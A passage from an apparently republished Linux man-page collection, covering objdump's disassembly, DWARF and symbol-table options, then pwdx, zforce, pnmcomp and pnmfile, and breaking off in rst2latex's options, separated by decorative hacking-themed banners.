Display the assembler mnemonics for the machine instructions from the input file. This option only disassembles those sections which are expected to contain instructions. If the optional symbol argument is given, then display the assembler mnemonics starting at symbol. If symbol is a function name then disassembly will stop at the end of the function, otherwise it will stop when the next symbol is encountered. If there are no matches for symbol then nothing will be displayed. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

-D

–disassemble-all

Like -d, but disassemble the contents of all non-empty non-bss sections, not just those expected to contain instructions. -j may be used to select specific sections. This option also has a subtle effect on the disassembly of instructions in code sections. When option -d is in effect objdump will assume that any symbols present in a code section occur on the boundary between instructions and it will refuse to disassemble across such a boundary. When option -D is in effect however this assumption is suppressed. This means that it is possible for the output of -d and -D to differ if, for example, data is stored in code sections. If the target is an ARM architecture this switch also has the effect of forcing the disassembler to decode pieces of data found in code sections as if they were instructions. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

–no-addresses
When disassembling, don’t print addresses on each line or for symbols and relocation offsets. In combination with –no-show-raw-insn this may be useful for comparing compiler output.

–prefix-addresses
When disassembling, print the complete address on each line. This is the older disassembly format.

-EB

-EL

–endian={big|little}

Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.

-f

–file-headers

Display summary information from the overall header of each of the objfile files.

-F

–file-offsets

When disassembling sections, whenever a symbol is displayed, also display the file offset of the region of data that is about to be dumped. If zeroes are being skipped, then when disassembly resumes, tell the user how many zeroes were skipped and the file offset of the location from where the disassembly resumes. When dumping sections, display the file offset of the location from where the dump starts.

–file-start-context
Specify that when displaying interlisted source code/disassembly (assumes -S) from a file that has not yet been displayed, extend the context to the start of the file.

-h

–section-headers

–headers

Display summary information from the section headers of the object file. File segments may be relocated to nonstandard addresses, for example by using the -Ttext, -Tdata, or -Tbss options to ld. However, some object file formats, such as a.out, do not store the starting address of the file segments. In those situations, although ld relocates the sections correctly, using objdump -h to list the file section headers cannot show the correct addresses. Instead, it shows the usual addresses, which are implicit for the target. Note, in some cases it is possible for a section to have both the READONLY and the NOREAD attributes set. In such cases the NOREAD attribute takes precedence, but objdump will report both since the exact setting of the flag bits might be important.

-H

–help

Print a summary of the options to objdump and exit.

-i

–info

Display a list showing all architectures and object formats available for specification with -b or -m.

-j name

–section=name

Display information for section name. This option may be specified multiple times.

-L

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -WK option, and only sections requested by other command line options will be displayed.

-l

–line-numbers

Label the display (using debugging information) with the filename and source line numbers corresponding to the object code or relocs shown. Only useful with -d, -D, or -r.

-m machine

–architecture=machine

Specify the architecture to use when disassembling object files. This can be useful when disassembling object files which do not describe architecture information, such as S-records. You can list the available architectures with the -i option. For most architectures it is possible to supply an architecture name and a machine name, separated by a colon. For example foo:bar would refer to the bar machine type in the foo architecture. This can be helpful if objdump has been configured to support multiple architectures. If the target is an ARM architecture then this switch has an additional effect. It restricts the disassembly to only those instructions supported by the architecture specified by machine. If it is necessary to use this switch because the input file does not contain any architecture information, but it is also desired to disassemble all the instructions use -marm.

-M options

–disassembler-options=options

Pass target specific information to the disassembler. Only supported on some targets. If it is necessary to specify more than one disassembler option then multiple -M options can be used or can be placed together into a comma separated list. For ARC, dsp controls the printing of DSP instructions, spfp selects the printing of FPX single precision FP instructions, dpfp selects the printing of FPX double precision FP instructions, quarkse_em selects the printing of special QuarkSE-EM instructions, fpuda selects the printing of double precision assist instructions, fpus selects the printing of FPU single precision FP instructions, while fpud selects the printing of FPU double precision FP instructions. Additionally, one can choose to have all the immediates printed in hexadecimal using hex. By default, the short immediates are printed using the decimal representation, while the long immediate values are printed as hexadecimal. cpu=… allows one to enforce a particular ISA when disassembling instructions, overriding the -m value or whatever is in the ELF file. This might be useful to select ARC EM or HS ISA, because architecture is same for those and disassembler relies on private ELF header data to decide if code is for EM or HS. This option might be specified multiple times - only the latest value will be used. Valid values are same as for the assembler -mcpu=… option. If the target is an ARM architecture then this switch can be used to select which register name set is used during disassembler. Specifying -M reg-names-std (the default) will select the register names as used in ARM’s instruction set documentation, but with register 13 called ‘sp’, register 14 called ’lr’ and register 15 called ‘pc’. Specifying -M reg-names-apcs will select the name set used by the ARM Procedure Call Standard, whilst specifying -M reg-names-raw will just use r followed by the register number. There are also two variants on the APCS register naming scheme enabled by -M reg-names-atpcs and -M reg-names-special-atpcs which use the ARM/Thumb Procedure Call Standard naming conventions. (Either with the normal register names or the special register names). This option can also be used for ARM architectures to force the disassembler to interpret all instructions as Thumb instructions by using the switch –disassembler-options=force-thumb. This can be useful when attempting to disassemble thumb code produced by other compilers. For AArch64 targets this switch can be used to set whether instructions are disassembled as the most general instruction using the -M no-aliases option or whether instruction notes should be generated as comments in the disasssembly using -M notes. For the x86, some of the options duplicate functions of the -m switch, but allow finer grained control.

“x86-64”

“i386”

“i8086”

Select disassembly for the given architecture.

“intel”

“att”

Select between intel syntax mode and AT&T syntax mode.

“amd64”

“intel64”

Select between AMD64 ISA and Intel64 ISA.

“intel-mnemonic”

“att-mnemonic”

Select between intel mnemonic mode and AT&T mnemonic mode. Note: intel-mnemonic implies intel and att-mnemonic implies att.

“addr64”

“addr32”

“addr16”

“data32”

“data16”

Specify the default address size and operand size. These five options will be overridden if x86-64, i386 or i8086 appear later in the option string.

“suffix”
When in AT&T mode and also for a limited set of instructions when in Intel mode, instructs the disassembler to print a mnemonic suffix even when the suffix could be inferred by the operands or, for certain instructions, the execution mode’s defaults.

For PowerPC, the -M argument raw selects disasssembly of hardware insns rather than aliases. For example, you will see rlwinm rather than clrlwi, and addi rather than li. All of the -m arguments for gas that select a CPU are supported. These are: 403, 405, 440, 464, 476, 601, 603, 604, 620, 7400, 7410, 7450, 7455, 750cl, 821, 850, 860, a2, booke, booke32, cell, com, e200z2, e200z4, e300, e500, e500mc, e500mc64, e500x2, e5500, e6500, efs, power4, power5, power6, power7, power8, power9, power10, power11, ppc, ppc32, ppc64, ppc64bridge, ppcps, pwr, pwr2, pwr4, pwr5, pwr5x, pwr6, pwr7, pwr8, pwr9, pwr10, pwr11, pwrx, titan, vle, and future. 32 and 64 modify the default or a prior CPU selection, disabling and enabling 64-bit insns respectively. In addition, altivec, any, lsp, htm, vsx, spe and spe2 add capabilities to a previous or later CPU selection. any will disassemble any opcode known to binutils, but in cases where an opcode has two different meanings or different arguments, you may not see the disassembly you expect. If you disassemble without giving a CPU selection, a default will be chosen from information gleaned by BFD from the object files headers, but the result again may not be as you expect. For MIPS, this option controls the printing of instruction mnemonic names and register names in disassembled instructions. Multiple selections from the following may be specified as a comma separated string, and invalid options are ignored:

“no-aliases”
Print the ‘raw’ instruction mnemonic instead of some pseudo instruction mnemonic. I.e., print ‘daddu’ or ‘or’ instead of ‘move’, ‘sll’ instead of ’nop’, etc.

“msa”
Disassemble MSA instructions.

“virt”
Disassemble the virtualization ASE instructions.

“xpa”
Disassemble the eXtended Physical Address (XPA) ASE instructions.

“gpr-names=ABI”
Print GPR (general-purpose register) names as appropriate for the specified ABI. By default, GPR names are selected according to the ABI of the binary being disassembled.

“fpr-names=ABI”
Print FPR (floating-point register) names as appropriate for the specified ABI. By default, FPR numbers are printed rather than names.

“cp0-names=ARCH”
Print CP0 (system control coprocessor; coprocessor 0) register names as appropriate for the CPU or architecture specified by ARCH. By default, CP0 register names are selected according to the architecture and CPU of the binary being disassembled.

“hwr-names=ARCH”
Print HWR (hardware register, used by the rdhwr instruction) names as appropriate for the CPU or architecture specified by ARCH. By default, HWR names are selected according to the architecture and CPU of the binary being disassembled.

“reg-names=ABI”
Print GPR and FPR names as appropriate for the selected ABI.

“reg-names=ARCH”
Print CPU-specific register names (CP0 register and HWR names) as appropriate for the selected CPU or architecture.

For any of the options listed above, ABI or ARCH may be specified as numeric to have numbers printed rather than names, for the selected types of registers. You can list the available values of ABI and ARCH using the –help option. For VAX, you can specify function entry addresses with -M entry:0xf00ba. You can use this multiple times to properly disassemble VAX binary files that don’t contain symbol tables (like ROM dumps). In these cases, the function entry mask would otherwise be decoded as VAX instructions, which would probably lead the rest of the function being wrongly disassembled.

-p

–private-headers

Print information that is specific to the object file format. The exact information printed depends upon the object file format. For some object file formats, no additional information is printed.

-P options

–private=options

Print information that is specific to the object file format. The argument options is a comma separated list that depends on the format (the lists of options is displayed with the help). For XCOFF, the available options are:

“header”

“aout”

“sections”

“syms”

“relocs”

“lineno,”

“loader”

“except”

“typchk”

“traceback”

“toc”

“ldinfo”

For PE, the available options are:

“header”

“sections”

Not all object formats support this option. In particular the ELF format does not use it.

-r

–reloc

Print the relocation entries of the file. If used with -d or -D, the relocations are printed interspersed with the disassembly.

-R

–dynamic-reloc

Print the dynamic relocation entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. As for -r, if used with -d or -D, the relocations are printed interspersed with the disassembly.

-s

–full-contents

Display the full contents of sections, often used in combination with -j to request specific sections. By default all non-empty non-bss sections are displayed. By default any compressed section will be displayed in its compressed form. In order to see the contents in a decompressed form add the -Z option to the command line.

-S

–source

Display source code intermixed with disassembly, if possible. Implies -d.

–show-all-symbols
When disassembling, show all the symbols that match a given address, not just the first one.

–source-comment[=txt]
Like the -S option, but all source code lines are displayed with a prefix of txt. Typically txt will be a comment string which can be used to distinguish the assembler code from the source code. If txt is not provided then a default string of "# “ (hash followed by a space), will be used.

–prefix=prefix
Specify prefix to add to the absolute paths when used with -S.

–prefix-strip=level
Indicate how many initial directory names to strip off the hardwired absolute paths. It has no effect without **–prefix=**prefix.

–show-raw-insn
When disassembling instructions, print the instruction in hex as well as in symbolic form. This is the default except when –prefix-addresses is used.

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes. This is the default when –prefix-addresses is used.

–insn-width=width
Display width bytes on a single line when disassembling instructions.

–visualize-jumps[=color|=extended-color|=off]
Visualize jumps that stay inside a function by drawing ASCII art between the start and target addresses. The optional =color argument adds color to the output using simple terminal colors. Alternatively the =extended-color argument will add color using 8bit colors, but these might not work on all terminals. If it is necessary to disable the visualize-jumps option after it has previously been enabled then use visualize-jumps=off.

–disassembler-color=off

–disassembler-color=terminal

–disassembler-color=on|color|colour

–disassembler-color=extened|extended-color|extened-colour

Enables or disables the use of colored syntax highlighting in disassembly output. The default behaviour is determined via a configure time option. Note, not all architectures support colored syntax highlighting, and depending upon the terminal used, colored output may not actually be legible. The on argument adds colors using simple terminal colors. The terminal argument does the same, but only if the output device is a terminal. The extended-color argument is similar to the on argument, but it uses 8-bit colors. These may not work on all terminals. The off argument disables colored disassembly.

-W[lLiaprmfFsoORtUuTgAckK]

–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]

Displays the contents of the DWARF debug sections in the file, if any are present. Compressed debug sections are automatically decompressed (temporarily) before they are displayed. If one or more of the optional letters or words follows the switch then only those type(s) of data will be dumped. The letters and words refer to the following information:

“a”

“=abbrev”

Displays the contents of the .debug_abbrev section.

“A”

“=addr”

Displays the contents of the .debug_addr section.

“c”

“=cu_index”

Displays the contents of the .debug_cu_index and/or .debug_tu_index sections.

“f”

“=frames”

Display the raw contents of a .debug_frame section.

“F”

“=frames-interp”

Display the interpreted contents of a .debug_frame section.

“g”

“=gdb_index”

Displays the contents of the .gdb_index and/or .debug_names sections.

“i”

“=info”

Displays the contents of the .debug_info section. Note: the output from this option can also be restricted by the use of the –dwarf-depth and –dwarf-start options.

“k”

“=links”

Displays the contents of the .gnu_debuglink, .gnu_debugaltlink and .debug_sup sections, if any of them are present. Also displays any links to separate dwarf object files (dwo), if they are specified by the DW_AT_GNU_dwo_name or DW_AT_dwo_name attributes in the .debug_info section.

“K”

“=follow-links”

Display the contents of any selected debug sections that are found in linked, separate debug info file(s). This can result in multiple versions of the same debug section being displayed if it exists in more than one file. In addition, when displaying DWARF attributes, if a form is found that references the separate debug info file, then the referenced contents will also be displayed. Note - in some distributions this option is enabled by default. It can be disabled via the N debug option. The default can be chosen when configuring the binutils via the –enable-follow-debug-links=yes or –enable-follow-debug-links=no options. If these are not used then the default is to enable the following of debug links. Note - if support for the debuginfod protocol was enabled when the binutils were built then this option will also include an attempt to contact any debuginfod servers mentioned in the DEBUGINFOD_URLS environment variable. This could take some time to resolve. This behaviour can be disabled via the =do-not-use-debuginfod debug option.

“N”

“=no-follow-links”

Disables the following of links to separate debug info files.

“D”

“=use-debuginfod”

Enables contacting debuginfod servers if there is a need to follow debug links. This is the default behaviour.

“E”

“=do-not-use-debuginfod”

Disables contacting debuginfod servers when there is a need to follow debug links.

“l”

“=rawline”

Displays the contents of the .debug_line section in a raw format.

“L”

“=decodedline”

Displays the interpreted contents of the .debug_line section.

“m”

“=macro”

Displays the contents of the .debug_macro and/or .debug_macinfo sections.

“o”

“=loc”

Displays the contents of the .debug_loc and/or .debug_loclists sections.

“O”

“=str-offsets”

Displays the contents of the .debug_str_offsets section.

“p”

“=pubnames”

Displays the contents of the .debug_pubnames and/or .debug_gnu_pubnames sections.

“r”

“=aranges”

Displays the contents of the .debug_aranges section.

“R”

“=Ranges”

Displays the contents of the .debug_ranges and/or .debug_rnglists sections.

“s”

“=str”

Displays the contents of the .debug_str, .debug_line_str and/or .debug_str_offsets sections.

“t”

“=pubtype”

Displays the contents of the .debug_pubtypes and/or .debug_gnu_pubtypes sections.

“T”

“=trace_aranges”

Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

–dwarf-check
Enable additional checks for consistency of Dwarf information.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–sframe[=section]
Display the contents of the specified SFrame section. By default, display the name of the section named .sframe, which is the name emitted by ld.

-G

–stabs

Display the full contents of any sections requested. Display the contents of the .stab and .stab.index and .stab.excl sections from an ELF file. This is only useful on systems (such as Solaris 2.0) in which .stab debugging symbol-table entries are carried in an ELF section. In most other file formats, debugging symbol-table entries are interleaved with linkage symbols, and are visible in the –syms output.

–start-address=address
Start displaying data at the specified address. This affects the output of the -d, -r and -s options.

–stop-address=address
Stop displaying data at the specified address. This affects the output of the -d, -r and -s options.

-t

–syms

Print the symbol table entries of the file. This is similar to the information provided by the nm program, although the display format is different. The format of the output depends upon the format of the file being dumped, but there are two main types. One looks like this: [ 4](sec 3)(fl 0x00)(ty 0)(scl 3) (nx 1) 0x00000000 .bss [ 6](sec 1)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x00000000 fred where the number inside the square brackets is the number of the entry in the symbol table, the sec number is the section number, the fl value are the symbol’s flag bits, the ty number is the symbol’s type, the scl number is the symbol’s storage class and the nx value is the number of auxiliary entries associated with the symbol. The last two fields are the symbol’s value and its name. The other common output format, usually seen with ELF based files, looks like this: 00000000 l d .bss 00000000 .bss 00000000 g .text 00000000 fred Here the first number is the symbol’s value (sometimes referred to as its address). The next field is actually a set of characters and spaces indicating the flag bits that are set on the symbol. These characters are described below. Next is the section with which the symbol is associated or *ABS* if the section is absolute (ie not connected with any section), or *UND* if the section is referenced in the file being dumped, but not defined there. After the section name comes another field, a number, which for common symbols is the alignment and for other symbol is the size. Finally the symbol’s name is displayed. The flag characters are divided into 7 groups as follows:

“l”

“g”

“u”

“!”

The symbol is a local (l), global (g), unique global (u), neither global nor local (a space) or both global and local (!). A symbol can be neither local or global for a variety of reasons, e.g., because it is used for debugging, but it is probably an indication of a bug if it is ever both local and global. Unique global symbols are a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

“w”
The symbol is weak (w) or strong (a space).

“C”
The symbol denotes a constructor (C) or an ordinary symbol (a space).

“W”
The symbol is a warning (W) or a normal symbol (a space). A warning symbol’s name is a message to be displayed if the symbol following the warning symbol is ever referenced.

“I”

“i”

The symbol is an indirect reference to another symbol (I), a function to be evaluated during reloc processing (i) or a normal symbol (a space).

“d”

“D”

The symbol is a debugging symbol (d) or a dynamic symbol (D) or a normal symbol (a space).

“F”

“f”

“O”

The symbol is the name of a function (F) or a file (f) or an object (O) or just a normal symbol (a space).

-T

–dynamic-syms

Print the dynamic symbol table entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. This is similar to the information provided by the nm program when given the -D (–dynamic) option. The output format is similar to that produced by the –syms option, except that an extra field is inserted before the symbol’s name, giving the version information associated with the symbol. If the version is the default version to be used when resolving unversioned references to the symbol then it’s displayed as is, otherwise it’s put into parentheses.

–special-syms
When displaying symbols include those which the target considers to be special in some way and which would not normally be of interest to the user.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-V

–version

Print the version number of objdump and exit.

-x

–all-headers

Display all available header information, including the symbol table and relocation entries. Using -x is equivalent to specifying all of -a -f -h -p -r -t.

-w

–wide

Format some lines for output devices that have more than 80 columns. Also do not truncate symbol names when they are displayed.

-z

–disassemble-zeroes

Normally the disassembly output will skip blocks of zeroes. This option directs the disassembler to disassemble those blocks, just like any other data.

-Z

–decompress

The -Z option is meant to be used in conunction with the -s option. It instructs objdump to decompress any compressed sections before displaying their contents.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1385 - Linux cli command pwdx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pwdx and provides detailed information about the command pwdx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pwdx.

NAME 🖥️ pwdx 🖥️

report current working directory of a process

SYNOPSIS

pwdx [options] pid […]

OPTIONS

-V, –version
Output version information and exit.

-h, –help
Output help screen and exit.

SEE ALSO

ps(1), pgrep(1)

STANDARDS

No standards apply, but pwdx looks an awful lot like a SunOS command.

AUTHOR

Nicholas Miell wrote pwdx in 2004.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1386 - Linux cli command zforce

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zforce and provides detailed information about the command zforce, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zforce.

NAME 🖥️ zforce 🖥️

force a ‘.gz’ extension on all gzip files

SYNOPSIS

zforce [ name … ]

DESCRIPTION

The zforce command forces a .gz extension on all gzip files so that gzip will not compress them twice. This can be useful for files with names truncated after a file transfer. On systems with a 14 char limitation on file names, the original name is truncated to make room for the .gz suffix. For example, 12345678901234 is renamed to 12345678901.gz. A file name such as foo.tgz is left intact.

SEE ALSO

gzip(1), znew(1), zmore(1), zgrep(1), zdiff(1), gzexe(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1387 - Linux cli command pnmcomp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmcomp and provides detailed information about the command pnmcomp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmcomp.

.

NAME 🖥️ pnmcomp 🖥️

replaced by pamcomp

DESCRIPTION

This program is part of Netpbm(1) .

pnmcomp was obsoleted by pamcomp(1) , introduced with Netpbm 10.21 (March 2004). pamcomp is backward compatible with pnmcomp, plus adds many additional functions. Among this is the ability to process PAM images, including those with transparency channels.

pnmcomp remained in the Netpbm package until Netpbm 10.68 (September 2014) because of hopes that it had fewer bugs than pamcomp because of its age. But now it would just be clutter.

In Netpbm before 10.21, use the manual for pamcomp with pnmcomp. Features that are in pamcomp but not pnmcomp are indicated by statements that they didn’t exist before 10.21.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmcomp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1388 - Linux cli command pnmfile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmfile and provides detailed information about the command pnmfile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmfile.

.

NAME 🖥️ pnmfile 🖥️

replaced by pamfile

DESCRIPTION

This program is part of Netpbm(1) .

pnmfile was replaced in Netpbm 10.9 (September 2002) by pamfile(1) .

pamfile is backward compatible with pnmfile, but works on PAM images too.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmfile.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1389 - Linux cli command rst2latex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2latex and provides detailed information about the command rst2latex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2latex.

NAME 🖥️ rst2latex 🖥️

convert reST documents to LaTeX

SYNOPSIS

rst2latex [options] [<source> [<destination>]]

DESCRIPTION

Generate LaTeX documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/latex.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
